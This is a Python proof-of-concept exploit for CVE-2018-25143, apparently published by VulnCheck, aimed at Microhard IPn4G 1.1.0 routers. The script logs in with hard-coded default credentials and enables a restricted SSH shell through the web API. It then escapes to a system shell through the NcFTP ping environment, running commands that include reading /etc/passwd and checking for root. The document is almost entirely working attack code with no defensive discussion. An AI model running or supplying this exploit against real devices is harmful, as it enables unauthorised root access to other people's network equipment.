CVE-2018-25143

#!/usr/bin/env python3 # CVE-2018-25143 PoC - Microhard IPn4G Restricted Shell Escape # Target: Microhard Systems IPn4G 1.1.0 # Author: VulnCheck import requests import paramiko import time TARGET_IP = '192.168.1.1' USERNAME = 'msshc' PASSWORD = 'msshc' # Default credentials SSH_PORT = 22 def enable_ssh_shell(target_ip, username, password): """Enable restricted SSH shell via web API""" session = requests.Session() # Login to web interface login_url = f'http://{target_ip}/api/login' login_data = {'username': username, 'password': password} response = session.post(login_url, data=login_data) if response.status_code != 200: print('[-] Login failed') return False # Enable SSH service with restricted shell enable_url = f'http://{target_ip}/api/ssh/enable' response = session.post(enable_url, json={'enable': True, 'shell_type': 'restricted'}) return response.status_code == 200 def exploit_shell_escape(target_ip): """Execute command via restricted shell escape""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(target_ip, port=SSH_PORT, username=USERNAME, password=PASSWORD, timeout=10) except Exception as e: print(f'[-] SSH connection failed: {e}') return False # Execute command through NcFTP ping command escape # The restricted shell has a custom ping command in NcFTP environment # Using ! character to escape to system shell commands = [ 'ping -c 1 127.0.0.1', # Trigger NcFTP ping environment '!id', # Escape to system shell and execute id command '!cat /etc/passwd', # Read system files '!whoami' # Verify root access ] for cmd in commands: stdin, stdout, stderr = ssh.exec_command(cmd) print(f'\n[Command: {cmd}]') print(stdout.read().decode()) print(stderr.read().decode()) time.sleep(0.5) ssh.close() return True def main(): print(f'[*] CVE-2018-25143 PoC for Microhard IPn4G') print(f'[*] Target: {TARGET_IP}') if enable_ssh_shell(TARGET_IP, USERNAME, PASSWORD): print('[+] SSH shell enabled successfully') time.sleep(2) exploit_shell_escape(TARGET_IP) else: print('[-] Failed to enable SSH shell') if __name__ == '__main__': main()

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